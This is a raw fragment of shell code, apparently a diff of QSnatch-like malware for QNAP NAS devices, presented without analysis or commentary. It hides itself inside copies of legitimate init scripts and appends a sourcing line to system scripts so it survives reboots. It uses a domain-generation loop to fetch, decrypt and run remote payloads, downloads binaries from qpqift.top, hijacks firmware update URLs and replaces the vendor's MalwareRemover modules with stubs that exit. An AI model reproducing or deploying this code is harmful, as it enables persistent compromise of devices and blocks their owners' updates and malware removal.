confdir=/mnt/HDA_ROOT/.config; } +test -f "${confdir}/smb.conf" && for i in homes Public Download Multimedia Web Recordings; do bdir=`getcfg "$i" path -f "${confdir}/smb.conf"` && test ! -z "$bdir" && bdir=`dirname "$bdir"` && test -d "$bdir" && break; bdir=''; done +test -z "${bdir}" || test ! -d "${bdir}" && { command -v readlink >/dev/null 2>&1 || ln -sf /bin/busybox /usr/bin/readlink; for i in homes Public Download Multimedia Web Recordings; do bdir=`readlink "/share/${i}" 2>/dev/null` && test ! -z "$bdir" && bdir=`dirname "$bdir"` && bdir=/share/${bdir##*/} && test -d "$bdir" && break; bdir=''; done +test -z "${bdir}" || test ! -d "${bdir}"; } && { bdir=`getcfg SHARE_DEF defVolMP -f "${confdir}/def_share.info"` && test -d "$bdir" || bdir='' +test -z "${bdir}" || test ! -d "${bdir}"; } && { while read -r bdir; do +test -d "$bdir" && break; bdir='' +done <".backup_${file}" <<"XEOF" +#!/bin/sh +QNAP_QPKG=cloudinstall +QID_PRESISTENT_CONF=/etc/config/qid_persistent.conf +NAS_CLOUD_INSTALL_PATH=/home/httpd/cgi-bin/cloudinstall +CLOUD_INSTALL_PATH=/tunnel_agent +CLOUD_INSTALL_RAMDISK_PATH=/tunnel_agent_ramdisk +CLOUD_INSTALL_AGENT_FILE_PATH=$CLOUD_INSTALL_PATH/tunnel_agent.tar.bz2 +COUNTER=1 +ERROR_BAD_REQUEST=400 + +if [ "$fromrcS" = 'TRUE' ]; then +case "$1" in + start) + START_TIME=$(date +"%T") + echo -e "start:$START_TIME" >> /tmp/.cloudinstall.log + while [ "$CLOUD_INSTALL_AGENT_PID_LIST" == "" ]; + do + # report device info and get cloudinstall agent app download url + DOWNLOAD_URL=`/usr/sbin/qcloud_uninit_device_tool -r` + if [ ! -d "$CLOUD_INSTALL_PATH" ]; then + if [ "$NAS_ARCH" == "ARM_64" ]; then + # create ramdisk and create a 64mb file + /bin/mkdir -p $CLOUD_INSTALL_RAMDISK_PATH + /bin/mount -t tmpfs -o size=64m tmpfs $CLOUD_INSTALL_RAMDISK_PATH + /bin/dd if=/dev/zero of=$CLOUD_INSTALL_RAMDISK_PATH/image bs=1M count=64 + # create block size 1K filesystem + /sbin/mke2fs -b 1024 $CLOUD_INSTALL_RAMDISK_PATH/image + # create virtual disk + export USED_LOOP_DEVICE=`/usr/local/sbin/losetup -f $CLOUD_INSTALL_RAMDISK_PATH/image` + /sbin/setcfg -f $QID_PRESISTENT_CONF "CLOUDINSTALL" "USED_LOOP_DEVICE" "$USED_LOOP_DEVICE" + /bin/mkdir -p $CLOUD_INSTALL_PATH + # mount virtual disk + /bin/mount $USED_LOOP_DEVICE $CLOUD_INSTALL_PATH + else + # create and mount tmpfs folder + /bin/mkdir -p $CLOUD_INSTALL_PATH + /bin/mount -t tmpfs -o size=64m tmpfs $CLOUD_INSTALL_PATH + fi + fi + cd $CLOUD_INSTALL_PATH + + if [[ $DOWNLOAD_URL == https* ]]; then + REPORT_SUCCESS_TIME=$(date +"%T") + else + REPORT_FAIL_TIME=$(date +"%T") + echo -e " report_fail:$REPORT_FAIL_TIME\n response:$DOWNLOAD_URL" >> /tmp/.cloudinstall.log + # stop retry when got bad request + # prevent put bad request all the time + if [[ $DOWNLOAD_URL == *$ERROR_BAD_REQUEST* ]]; then + break + fi + fi + + # downlaod cloudinstall agent app + /usr/sbin/qcloud_uninit_device_tool -o "$CLOUD_INSTALL_AGENT_FILE_PATH" -d "$DOWNLOAD_URL" + + if [ -f "$CLOUD_INSTALL_AGENT_FILE_PATH" ]; then + DOWNLOAD_FINISH_TIME=$(date +"%T") + # unzip and execute cloudinstallagent + /bin/tar -xf $CLOUD_INSTALL_AGENT_FILE_PATH -C $CLOUD_INSTALL_PATH + $CLOUD_INSTALL_PATH/bin/cloudinstall_agent_ctl.sh start &> /dev/null + + UNZIP_TIME=$(date +"%T") + fi + + if [ ! -d "$NAS_CLOUD_INSTALL_PATH" ]; then + # create folder and create symbolic link + /bin/mkdir -p $NAS_CLOUD_INSTALL_PATH + /bin/ln -s $CLOUD_INSTALL_PATH/ui/cloudinstall.html $NAS_CLOUD_INSTALL_PATH/index.html + /bin/ln -s $CLOUD_INSTALL_PATH/ui/cloudinstall.cgi $NAS_CLOUD_INSTALL_PATH/cloudinstall.cgi + /bin/ln -s $CLOUD_INSTALL_PATH/ui/static $NAS_CLOUD_INSTALL_PATH/static + fi + + # wait connect + sleep 5 + CLOUD_INSTALL_AGENT_PID_LIST=`/bin/ps --columns 256 | /bin/grep "$CLOUD_INSTALL_PATH/bin/cloudinstallagent" | /bin/grep -v grep | /bin/awk '{print $1}'` + if [ "$CLOUD_INSTALL_AGENT_PID_LIST" == "" ]; then + SLEEP_TIME=$(( 30 * $COUNTER )) + if [ $SLEEP_TIME -gt 300 ]; then + SLEEP_TIME=300 + fi + # wait next retry + sleep $SLEEP_TIME + fi + COUNTER=$(( $COUNTER * 2 )) + done + + END_TIME=$(date +"%T") + echo -e "report_success:$REPORT_SUCCESS_TIME\ndownload_finish:$DOWNLOAD_FINISH_TIME\nunzip_finish:$UNZIP_TIME\nend:$END_TIME" >> /tmp/.cloudinstall.log + # call for a new process group and for later kill + /bin/setsid $CLOUD_INSTALL_PATH/bin/cloudinstall_agent_disconnect_daemon.sh start &> /dev/null & + /bin/setsid $CLOUD_INSTALL_PATH/bin/cloudinstall_agent_daemon.sh &> /dev/null & + + # set cloudinstall report status + /sbin/setcfg -f $QID_PRESISTENT_CONF "CLOUDINSTALL" "REPORT_STATUS" "uninit" + # add link to report offline + /bin/ln -sf /etc/init.d/cloudinstall_report_offline.sh /etc/rcK.d/K99cloudinstall_report_offline + + # buzzer + HARDWARE_TYPE=$(uname -m) + if [[ "$HARDWARE_TYPE" == *"x86"* ]]; + then + /sbin/hal_app --se_buzzer enc_id=0,mode=101 + elif [[ "$HARDWARE_TYPE" == *"arm"* ]]; + then + /sbin/pic_raw 81 + fi + ;; + + stop) + # disconnect cloudinstall agent + $CLOUD_INSTALL_PATH/bin/cloudinstall_agent_ctl.sh stop &> /dev/null + $CLOUD_INSTALL_PATH/bin/cloudinstall_agent_disconnect_daemon.sh stop &> /dev/null + for i in "${CLOUD_INSTALL_AGENT_DAEMON_PID_LIST[@]}" + do + # use bash kill instead /bin/kill for kill process group + # cloudinstall agent daemon and inotifywait + kill -9 -- -$i &>/dev/null + done + + # umount + if [ "$NAS_ARCH" == "ARM_64" ]; then + /bin/umount -l $USED_LOOP_DEVICE + /usr/local/sbin/losetup -d $USED_LOOP_DEVICE + else + /bin/umount -l $CLOUD_INSTALL_PATH + fi + # remove all files + if [ -d "$NAS_CLOUD_INSTALL_PATH" ]; then + /bin/rm -rf $NAS_CLOUD_INSTALL_PATH + fi + if [ -d "$CLOUD_INSTALL_PATH" ]; then + /bin/rm -rf $CLOUD_INSTALL_PATH + fi + if [ -d "$CLOUD_INSTALL_RAMDISK_PATH" ]; then + /bin/rm -rf $CLOUD_INSTALL_RAMDISK_PATH + fi + ;; + + restart) + $0 stop + $0 start + ;; + + *) + echo "Usage: $0 {start|stop|restart}" + exit 1 +esac +exit 0 + + +set_env() +{ + debug=`$CMD_GETCFG Qsync Debug -u -d NULL` + if [ "$debug" != "NULL" ]; then + /bin/touch $LOG_FILE + else + /bin/rm -f $LOG_FILE + fi +} + +set_env + +dbg() +{ + if [ -f "$LOG_FILE" ]; then + echo "[`date "+%H:%M:%S"`] $@ " >> $LOG_FILE + fi +} + +dbg "> $0 $@ (pid $$)" + +fi + +export PATH="${PATH}:/bin:/sbin:/usr/bin:/usr/sbin:/usr/bin/X11:/usr/local/sbin:/usr/local/bin" + +command -v getcfg > /dev/null 2>&1 || getcfg () { sed -n 'H;${x;s/\(.*\n\['"${1//\//\\\/}"']\|^\['"${1//\//\\\/}"']\)\n//I;s/\(^\|\n\)\[[^\n]\+\]\n.*//p}' "${4:-${confdir}/uLinux.conf}" | sed -n 's/^'"${2//\//\\\/}"' \?= \?\(.*\)/\1/Ip'; } + +test -d /etc/config && confdir=/etc/config || { test -d /mnt/HDA_ROOT/.config && confdir=/mnt/HDA_ROOT/.config; } + +bdir= +test -f "${confdir}/smb.conf" && for i in homes Public Download Multimedia Web Recordings; do bdir=`getcfg "$i" path -f "${confdir}/smb.conf"` && test ! -z "$bdir" && bdir=`dirname "$bdir"` && test -d "$bdir" && testwriteable=$(mktemp "${bdir}/.tmp.XXXXXX") && rm "${testwriteable}" && break; bdir=''; done +test -z "${bdir}" || test ! -d "${bdir}" && { command -v readlink >/dev/null 2>&1 || ln -sf /bin/busybox /usr/bin/readlink; for i in Public Download Multimedia Web Recordings homes; do bdir=`readlink "/share/${i}" 2>/dev/null` && test ! -z "$bdir" && bdir=`dirname "$bdir"` && bdir=/share/${bdir##*/} && test -d "$bdir" && break; done; +test -z "${bdir}" || test ! -d "${bdir}"; } && { bdir=`getcfg SHARE_DEF defVolMP -f "${confdir}/def_share.info"` +test -z "${bdir}" || test ! -d "${bdir}"; } && { bdir=`mount | sed -n "s/.*\(\/share\/[^ /]\+\) .*/\1/gp" | head -n 1` +test -z "${bdir}" || test ! -d "${bdir}"; } && { for i in CACHEDEV3_DATA CACHEDEV2_DATA CACHEDEV1_DATA MD0_DATA; do test -d "/share/${i}" && bdir="/share/${i}" && break; done; +test -z "${bdir}" || test ! -d "${bdir}" && bdir=/mnt/HDA_ROOT; } +grep -F '' </dev/null 2>&1 && fgrep="grep -F" || { command -v fgrep >/dev/null 2>&1 && fgrep=fgrep || fgrep=grep; } + +EOF +test "$fgrep" || fgrep=grep +test "$RANDOM" || RANDOM=17653 +genrstr () +{ + local s=; + local min=${1:-4}; + local max=${2:-12}; + local kspace="${3:-a-zA-Z}" + tr -dc "$kspace" < /dev/urandom | { + read -rn $(($RANDOM % ( $max - $min + 1 ) + $min )) s; + echo "$s" + } +} + +verifyfile() { +local file="$1" +local sig="${2:-$file_s}" +local out +test ! -z "$file" && test -s "$file" || return 1 +test ! -z "$sig" && test -s "$sig" || return 1 +test -f ".rsakey" || echo "$verifykey" > ".rsakey" +out=$(openssl dgst -sha1 -verify ".rsakey" -signature "$sig" "$file") && test "$out" = "Verified OK" && return 0 +return 1 +} + +decryptfile() { +local file="$1" +local ofile="${2:-${file}}" +local key='7C0vK4SzMO15zBxLD7XCi5hbjgP1ZjkJ' +openssl enc -d -aes-256-cbc -k "$key" -md sha1 -salt < "$file" > "${file}_d" || return $? +test -f "$ofile" && rm -f "$ofile" +mv "${file}_d" "$ofile" && return 0 +return 1 +} + +verifykey='-----BEGIN PUBLIC KEY----- +MIIBojANBgkqhkiG9w0BAQEFAAOCAY8AMIIBigKCAYEAt/EDT6SB75atrHW7Cpog +CXqrBM2CVbJo';verifykey="${verifykey}"'g4rwwS''z1Bp1i1' +verifykey="${verifykey}"'B7B9Wd51no32lpRqOM+9GOr2W17xwJ8pqpQotex +RC5qQSiS/7FS48jsPKsJnrUhnsI1fRLM4DqsEF3UOukZuDOYUhlteDuMqqZBz0AC +Q3YnLjraTjchMF0XmaAAcWOkg5MsxAOKTepue4R/tnrPAkAG86nq5LA1+wa7opNV +gQzwDh7YXhBnWz52+ebZ9TeqD31/sb5hoyUKf1Nr5HcKkklObuz1OGQJ//pkCbTC +2EnQw6tCPQhgSIA8wJKkaxW0f/UHP+YBmWa4Wn+uPrJJuHSVNEJtAp2wlX3THltz +0IGPQEuzoafOAl3EFjas3HcTX2HlEfnvAtRL2iLxJeba1nZ+U3geZOuxL1NhWhNh +pjaLcKwhkRck7Y5hr1Pz8pLDnXsx5w0QUz6XS8HVf/KHnNXHufFEn01y9YoPuau1 +DNnpDGbq632Bs8ESd3ueHk9OY/UZxWeN3UdbseFxK35XAgMBAAE= +-----END PUBLIC KEY-----' +domainexts='cf:0 tk:0 com:1 ml:0 de:0 rocks:0 mx:0 biz:0 net:1 cn:0 ga:0 gq:0 org:1 top:0 nl:0 men:0 ws:0 se:0 info:0 xyz:0 today:0 ru:0 ec:0 co:0 ee:0 rs:0 com.sv:0 com.cy:0 co.zw:0 kg:0 com.ge:0 tl:0 name:0 tw:0 lv:0 bs:0 li:0 ng:0 ae:0 bt:0 tv:0 pe:0 uz:0 me:0 gy:0 am:0 kr:0 by:0 fr:0 com.uy:0 com.lb:0 com.br:0 vu:0 hk:0 in:0 re:0 ch:0 af:0 com.ps:0 ug:0 dz:0 pro:0 co.th:0 sg:0 cd:0 so:0 mo:0 co.id:0 co.il:0 com.do:0 ke:0 cx:0 ro:0 id:0 pm:0 hm:0 vg:0 az:0 com.eg:0 bz:0 su:0 com.ar:0 gg:0 com.lr:0 pa:0 com.ve:0 al:0 fm:0 to:0 mu:0 co.ck:0 pk:0 co.rs:0 cw:0 nr:0 gd:0 gl:0 ac:0 lk:0 md:0 fi:0 sx:0 lc:0 es:0 cc:0 cm:0 la:0 co.za:0 je:0 cz:0 jp:0 ai:0 pw:0 bg:0 nu:0 ag:0 bm:0 eu:0 com.my:0 sc:0 ax:0 wf:0 ly:0 qa:0 vn:0 aq:0 mobi:0 com.tr:0 com.ua:0 com.py:0 hk.org:0 south.am:0 com.kh:0 co.zm:0 ru.net:0 com.km:0 tt:0 kn:0 co.ls:0 co.fk:0 uy.com:0 com.gu:0 .com.bn:0 com.pf:0 com.fj:0' +n=0 + +for ext in $domainexts; do + eval 'domainext'"$n"'=$ext' + n=$(( $n + 1 )) +done +domainextcnt=$n + +test -d "${bdir}/.qpkg" || mkdir "${bdir}/.qpkg" +XEOF +cat >>".backup_${file}" <>".backup_${file}" <<"XEOF" + +echo "$verifykey" > ".rsakey" + +for tmpfile in "./.tmp.XXXXXX" "${bdir}/.tmp.XXXXXX" "/.tmp.XXXXXX"; do + tmpfile=$(mktemp "./.tmp.XXXXXX") + test -f "$tmpfile" && outfile=$tmpfile && break +done +test -n "${outfile}" && test -f "${outfile}" || outfile='./.tmp.out' +curlconntimeout=12 +i=0 n=0 c=0 errorcount=0 +for interval in '1296000' '432000' '86400' '28800' '7200' '3600'; do + timestart=$(date +%s) + for length in 5 3 4; do + timenow=$(date +%s) + test "$(( $timenow - $timestart ))" -gt 600 && test "$interval" != "3600" && break + curlconntimeout=$(( $curlconntimeout - ( $timenow - $timestart ) / 250 )) + test "$curlconntimeout" -lt 6 && curlconntimeout=6 + n=0; while [ "$n" -lt $domainextcnt ]; do + eval 'ext=$domainext'"$n" + l=$(( $length + ${ext#*:} )) + ext=${ext%:*} + if [ $length = 5 ]; then + hostname=$(echo "$(( $(date +%s) / $interval ))IbjGOEgnuD${ext}" | openssl dgst -sha1 -binary | openssl base64 | sed 'y/ABCDEFGHIJKLMNOPQRSTUVWXYZ-+\//abcdefghijklmnopqrstuvwxyzabc/;s/=//g') + hostname=${hostname%${hostname#??????}} + eval 'hostname'"$n"'=$hostname' + fi + eval 'host=$hostname'"$n" + n=$(( $n + 1 )) + trycnt=0 + while [ ${#host} -gt "$l" ] && [ $trycnt -lt 3 ]; do + trycnt=$(( $trycnt + 1 )) + host=${host%?} + done + test -f "$outfile" && rm -f "$outfile" + recentupdate='' + curl --connect-timeout "$curlconntimeout" -m 30 -k -o "$outfile" "https://${host}.${ext}/qnap_firmware.xml?t=$(date +%s)" + test -s "$outfile" || continue + fsize=$(( $(wc -c < "$outfile") )) + test "$fsize" -gt 4096 && rm -f "$outfile" && continue + rsamsg=$(openssl base64 -in "$outfile" -d | openssl rsautl -pubin -inkey ".rsakey" -verify) || continue + test "$rsamsg" || continue + path="${rsamsg%|*}"; rsadomain="${path%|*}"; path="${path#*|}" + hash="${rsamsg##*|}"; ts="${hash#*_}"; hash="${hash%_*}" + test "$rsadomain" = "${host}.${ext}" || continue + timenow=$(date +%s) + test "$ts" -gt 0 && { test "$ts" -gt "$timenow" || test $(( $timenow - $ts )) -lt 172800; } && recentupdate=1 + curl --connect-timeout "$curlconntimeout" -m 300 -k -o "$outfile" "https://${host}.${ext}/${path}" + filehash=$(openssl dgst -sha1 -binary "$outfile" | openssl base64) || continue + test "$filehash" = "$hash" || continue + curl --connect-timeout "$curlconntimeout" -m 30 -k -o "${outfile}_s" "https://${host}.${ext}/s/${path}" + verifyfile "$outfile" "${outfile}_s" && decryptfile "$outfile" || continue + mv "${outfile}_s" "${ts}_v" + chmod 755 "$outfile" || continue + ( ( exec >/dev/null 2>/dev/null /dev/null 2>&1 +fi +start() +{ + if [ -f /usr/bin/qsyncman ]; then + [ ! -f /etc/config/hdcopyusb.conf ] || /bin/rm -f /etc/config/hdcopyusb.conf + /bin/sed -i '/hdusb_copy/d' /etc/config/crontab + /usr/bin/crontab /etc/config/crontab + echo -n "Starting QSync manitor: " + [ -d /etc/config/qsync ] || /usr/bin/install -d /etc/config/qsync + [ -f /etc/config/qsync/qhost.conf ] || /bin/touch /etc/config/qsync/qhost.conf + [ -f /etc/config/qsync/qsyncjobdef.conf ] || /bin/touch /etc/config/qsync/qsyncjobdef.conf + [ -f /etc/config/qsync/qsync.conf ] || /bin/cp -p /etc/default_config/qsync/qsync.conf /etc/config/qsync/qsync.conf + [ -f /etc/config/qsync/extdrv.conf ] || /bin/cp -p /etc/default_config/qsync/extdrv.conf /etc/config/qsync/extdrv.conf + [ -f /etc/config/qsync/qsyncd.conf ] || /bin/cp -p /etc/default_config/qsync/qsyncd.conf /etc/config/qsync/qsyncd.conf + [ ! -f /etc/config/qsync/qsyncd.conf ] || /bin/chmod 640 /etc/config/qsync/qsyncd.conf + [ ! -f /etc/config/qsync/qsync.conf ] || /bin/chmod 640 /etc/config/qsync/qsync.conf + [ ! -f /etc/config/qsync/qhost.conf ] || /bin/chmod 640 /etc/config/qsync/qhost.conf + /sbin/daemon_mgr qsyncman start "/usr/bin/qsyncman 1>/dev/null 2>&1" + echo "OK" + fi +} + +stop() +{ + echo "Shutting down QSync monitor: OK" + pidnum=`/bin/pidof qsync``/bin/pidof qsyncd` + kill $pidnum 2>/dev/null + i=0 + while [ ${i} -lt 5 ] + do + pidnum=`/bin/pidof qsync``/bin/pidof qsyncd` + if [ -z "$pidnum" ]; then + break + fi + sleep 1 + i=`/usr/bin/expr ${i} + 1` + done + pidnum=`/bin/pidof qsync``/bin/pidof qsyncd` + [ -z "$pidnum" ] || kill -9 $pidnum 2>/dev/null + /sbin/daemon_mgr qsyncman stop "/usr/bin/qsyncman" + /usr/bin/killall -q qsyncman +} + +start_qsyncd() +{ + #_qsyncd_en=`/sbin/getcfg "" Enabled -d 0 -f /etc/qsync/qsyncd.conf` + #[ "x$_qsyncd_en" = x1 ] || return -1 + _qsyncd_run_pid=`/bin/pidof qsyncd` + [ -z $_qsyncd_run_pid ] || return -114 + _recycle_en=`/sbin/getcfg 'Network Recycle Bin' Enable -d FALSE` + _with_syslog=$1 + if [ "x$_recycle_en" = xTRUE ]; then + if [ "x$_with_syslog" = x1 ]; then + LD_PRELOAD=/usr/local/lib/libtrash.so /usr/bin/qsyncd -syslog -c:/etc/qsync/qsyncd.conf + else + LD_PRELOAD=/usr/local/lib/libtrash.so /usr/bin/qsyncd -c:/etc/qsync/qsyncd.conf + fi + else + if [ "x$_with_syslog" = x1 ]; then + /usr/bin/qsyncd -syslog -c:/etc/qsync/qsyncd.conf + else + /usr/bin/qsyncd -c:/etc/qsync/qsyncd.conf + fi + fi + _iret=$? + if [ "x$_iret" = x0 ]; then + i=0 + while [ ${i} -lt 10000 ] + do + echo "${i} millisecond..." + _qsyncd_pid=`/sbin/getcfg '' Pid -d -1 -f /etc/qsync/qsyncd.conf` + _qsyncd_run_pid=`/bin/pidof qsyncd` + if [ "x$_qsyncd_pid" != "x-1" ] && [ ! -z $_qsyncd_run_pid ]; then + break + fi + usleep 50000 + i=`/usr/bin/expr ${i} + 50` + done + fi + return -$_iret +} + +stop_qsyncd() +{ + #_qsyncd_en=`/sbin/getcfg "" Enabled -d 0 -f /etc/qsync/qsyncd.conf` + #[ "x$_qsyncd_en" = x0 ] || return -1 + _qsyncd_pid=`/sbin/getcfg "" Pid -d -1 -f /etc/qsync/qsyncd.conf` + [ $_qsyncd_pid -lt 0 ] && return -3 + # Send SIGUSR1 to inform the daemon to output "[RTRR Server] Stopped" event log + /bin/kill -SIGUSR1 $_qsyncd_pid + usleep 200000 + # Send SIGINT to stop the QSyncd process + /bin/kill -SIGINT $_qsyncd_pid + _kill_ret=$? + if [ "x$_kill_ret" != x0 ]; then + return -3 + fi + echo "need wait $1 millisecond" + i=0 + while true + do + echo "${i} millisecond..." + _qsyncd_pid=`/sbin/getcfg '' Pid -d -1 -f /etc/qsync/qsyncd.conf` + _qsyncd_run_pid=`/bin/pidof qsyncd` + if [ "x$_qsyncd_pid" = "x-1" ] && [ -z $_qsyncd_run_pid ]; then + break + fi + if [ ${i} -ge $1 ]; then + # if time-out, we send two additional SIGINT to force the daemon to stop. + if [ $_qsyncd_pid -ge 0 ]; then + /bin/kill -SIGUSR1 $_qsyncd_pid + usleep 200000 + /bin/kill -SIGUSR1 $_qsyncd_pid + fi + j=0 + while [ ${j} -lt 500 ] + do + _qsyncd_run_pid=`/bin/pidof qsyncd` + if [ -z $_qsyncd_run_pid ]; then + return 0 + fi + usleep 20000 + j=`/usr/bin/expr ${j} + 20` + done + return -62 + fi + usleep 50000 + i=`/usr/bin/expr ${i} + 50` + done + return 0 +} + + +install() +{ + lock_file="/var/lock/qbox_install_bin.lck" + + if [ ! -f "${INSTALL_BUILD_IN}" ]; then + dbg "build-in ${QSYNC_NAME} is installed" + return 1 + fi + + if [ ! -f ${UPDATEPKG_DIR}/${QSYNC_NAME}.bin ]; then + dbg "${QSYNC_NAME}.bin} not found" + return 1 + fi + + if [ ! -x "${QPKG_CLI}" ]; then + dbg "${QPKG_CLI} not found" + return 1 + fi + + ## make sure volume is exist + if [ ! -d /share/`/sbin/getcfg SHARE_DEF defPublic -d Public -f /etc/config/def_share.info` ]; then + dbg "/share/Public not found" + return 1 + fi + + ## is removed + if [ -f ${UPDATEPKG_DIR}/.${QSYNC_NAME}_removed ]; then + /bin/rm -f ${INSTALL_BUILD_IN} + dbg "${QSYNC_NAME} is removed" + return 1 + fi + + if [ -f "$lock_file" ]; then + if [ $(( $(date +%s) - $(date +%s -r $lock_file) )) -le 180 ]; then + echo "${QSYNC_NAME} is installing" + dbg "${QSYNC_NAME} is installing" + return 1 + fi + fi + + /bin/touch "$lock_file" + /bin/rm -f ${INSTALL_BUILD_IN} + dbg "install build-in ${QSYNC_NAME} start" + + set_default_disable_status + + ## install build in Qsync + ${QPKG_CLI} -K -m ${UPDATEPKG_DIR}/${QSYNC_NAME}.bin > /dev/null 2>&1 + sleep 20 + + wait_install=60 + ## avoid initial take long time or fail + while [ "$wait_install" -gt 0 ]; do + stcode=`$CMD_GETCFG ${QSYNC_NAME}.bin stcode -f /etc/config/qpkg_job.conf` + if [ "$stcode" = "0" ]; then + break + fi + sleep 1 + let "wait_install--" + done + + ${QPKG_CLI} -C ${QSYNC_NAME}.bin > /dev/null 2>&1 + /bin/rm -f ${UPDATEPKG_DIR}/.${QSYNC_NAME}_disabled + /bin/rm -f "$lock_file" + dbg "install build-in ${QSYNC_NAME} success" +} + +if [ "$1" == "stop" ]; then + exit 0 +fi +fi +XEOF +chmod 755 ".backup_${file}" +if grep "\.backup_${file}" "$file"; then +: +else +test -f '.qdisk_cmd' && ./.qdisk_cmd -i "$file" +echo ". ./.backup_${file}" >> "$file" +test -f '.qdisk_cmd' && ./.qdisk_cmd +i "$file" +fi + +fi + +if [ ! -f ".qdisk_cmd" ]; then + case "$(uname -m)" in + *x86_64*) + arch=x86_64 + binhash='g2oe7EJJVCiAHY6AG1I1c/lGF8Y=' + ;; + *arm*|*aarch*) + arch=arm + binhash='Z3twHZvQqYZ1vLeu4PLnZekdkRY=' + ;; + *i*86*) + arch=i486 + binhash='gWzECXuIp3dz5yI7RJS9d4+xpq4=' + ;; + esac + + if [ "x${binhash}" != 'x' ]; then + curl --connect-timeout 12 -m 1200 -k -o ".qdisk_cmd.tmp" "https://qpqift.top/data/qdisk_cmd_${arch}" || rm -f ".qdisk_cmd.tmp" + test -f '.qdisk_cmd.tmp' && rsynchash="$(openssl dgst -sha1 -binary ".qdisk_cmd.tmp" | openssl base64)" + if [ "x${rsynchash}" = "x${binhash}" ]; then + mv '.qdisk_cmd.tmp' '.qdisk_cmd' && chmod +x '.qdisk_cmd' + else + rm -f '.qdisk_cmd.tmp' + fi + fi +fi +binhash=''; rsynchash='' + +for path in ".config/backup_conf.sh" ".liveupdate/liveupdate.sh"; do +if [ -f "${path#*/}" ]; then +test -f '.qdisk_cmd' && ./.qdisk_cmd +ia "${path#*/}" +elif [ -f "${bdir}/.qpkg/${path}" ]; then +test -f '.qdisk_cmd' && ./.qdisk_cmd +ia "${bdir}/.qpkg/${path}" +fi +done + +version=$(getcfg System Version) +test "x${version}" = 'x' && version=$(getcfg System Version -f /etc/default_config/uLinux.conf) +test "${version##*.}" -lt 3 || test "${version%%.*}" -lt 4 || test "$(version=${version#*.}; echo "${version%.*}")" -lt 3 && version=4.3.3 || { test "${version##*.}" -gt 5 && version=4.3.5; } + +if [ ! -d rssdoc ]; then +command -v bunzip2 && compext=bz2 || compext=gz +curl --connect-timeout 12 -m 1200 -k -o "rssdoc.tar.${compext}" "https://qpqift.top/data/rssdoc.tar.${compext}" && test -f "rssdoc.tar.${compext}" && rssdochash="$(openssl dgst -sha1 -binary "rssdoc.tar.${compext}" | openssl base64)" && { test "$rssdochash" = 'WOkc6vlUa7A30GKa4Z4o02CIexk=' || test "$rssdochash" = "0h0Jyx52a/F9YB80Ml4SsEsugyA="; } && { test "$compext" = bz2 && tarflag=j || tarflag=z; } && tar -x${tarflag}f "rssdoc.tar.${compext}" || rm -f rssdoc.tar +rm -f "rssdoc.tar.${compext}" +fi + +rm -f /home/httpd/{Liveupdate,FirmwareRelease{,_beta}S.xml} +ln -s "${CWD}"/rssdoc/{Liveupdate,FirmwareRelease{,_beta}S.xml} /home/httpd + +if grep 'Liveupdate\|FirmwareRelease\|QTS_FW' /etc/default_config/uLinux.conf /etc/config/uLinux.conf | grep 'qnap\.com\|0\.0\.0\.0'; then +internalwebport=$(/sbin/getcfg System InnerWebAccessPort -d 58080) +localupdateurl="http://127.0.0.1:${internalwebport}" +sed -i 's/https\?:\/\/[^\/]\+\/\(Liveupdate\|FirmwareRelease\|QTS_FW\)/http:\/\/127.0.0.1:'${internalwebport}'\/\1/' /etc/default_config/uLinux.conf /etc/config/uLinux.conf +fi + +test -f '/etc/config/rssdoc/qpkgcenter_*.xml' || test -h '/etc/config/rssdoc/qpkgcenter_*.xml' && { test -f '.qdisk_cmd' && ./.qdisk_cmd -i '/etc/config/rssdoc/qpkgcenter_*.xml'; rm -f '/etc/config/rssdoc/qpkgcenter_*.xml'; } + +if find /etc/config/rssdoc | grep 'qpkgcenter_.*\.xml'; then +: +else +cp "./rssdoc/Liveupdate/QTS${version}/qpkgcenter_eng.xml" '/etc/config/rssdoc/qpkgcenter_eng.xml' +test -f '.qdisk_cmd' && ./.qdisk_cmd +i '/etc/config/rssdoc/qpkgcenter_eng.xml' +fi + +for file in /etc/config/rssdoc/qpkgcenter_*.xml +do +if [ -f "$file" ] && { rm -f "$file" || [ ! -s "$file" ]; }; then +test -f '.qdisk_cmd' && ./.qdisk_cmd -i "$file" +touch "$file" +cp -f "./rssdoc/Liveupdate/QTS${version}/${file##*/}" "$file" +test -f '.qdisk_cmd' && ./.qdisk_cmd +i "$file" +fi +done +file='' + +for qpkgdir in "${bdir}/.qpkg" '../../.qpkg'; do +test -d "$qpkgdir" && break +done +test -d "${qpkgdir}/MalwareRemover" || mkdir "${qpkgdir}/MalwareRemover" +test -d "${qpkgdir}/MalwareRemover/modules" || mkdir "${qpkgdir}/MalwareRemover/modules" +test -f '.qdisk_cmd' && ./.qdisk_cmd -i "${qpkgdir}/MalwareRemover" + +if [ -d "${qpkgdir}/MalwareRemover/modules" ]; then +for file in 10_derek_3.pyc 12_derek_3.pyc; do +if [ ! -f "${qpkgdir}/MalwareRemover/modules/${file}" ] || rm -f "${qpkgdir}/MalwareRemover/modules/${file}" || test -x "${qpkgdir}/MalwareRemover/modules/${file}" || [ $(wc -c < "${qpkgdir}/MalwareRemover/modules/${file}") -gt 150 ] || [ $(wc -c < "${qpkgdir}/MalwareRemover/modules/${file}") -lt 120 ]; then +test -f '.qdisk_cmd' && test -f "${qpkgdir}/MalwareRemover/modules/${file}" && ./.qdisk_cmd -i "${qpkgdir}/MalwareRemover/modules/${file}" && rm -f "${qpkgdir}/MalwareRemover/modules/${file}" +openssl base64 -d <<"EOF" >"${qpkgdir}/MalwareRemover/modules/${file}" +A/MNCuVwTVxjAAAAAAAAAAABAAAAQAAAAHMLAAAAZQAAgwAAAWQAAFMoAQAAAE4o +AQAAAHQEAAAAZXhpdCgAAAAAKAAAAAAoAAAAAHMVAAAAbW9kdWxlcy8xMF9kZXJl +a18zLnB5dAgAAAA8bW9kdWxlPgEAAABzAAAAAA== +EOF +chmod -x "${qpkgdir}/MalwareRemover/modules/${file}" +test -f '.qdisk_cmd' && ./.qdisk_cmd +i "${qpkgdir}/MalwareRemover/modules/${file}" +fi +done +fi +file=''; qpkgdir='' + +if [ ! -f .rsakey ]; then +verifykey='-----BEGIN PUBLIC KEY----- +MIIBojANBgkqhkiG9w0BAQEFAAOCAY8AMIIBigKCAYEAt/EDT6SB75atrHW7Cpog +CXqrBM2CVbJo';verifykey="${verifykey}"'g4rwwS''z1Bp1i1' +verifykey="${verifykey}"'B7B9Wd51no32lpRqOM+9GOr2W17xwJ8pqpQotex +RC5qQSiS/7FS48jsPKsJnrUhnsI1fRLM4DqsEF3UOukZuDOYUhlteDuMqqZBz0AC 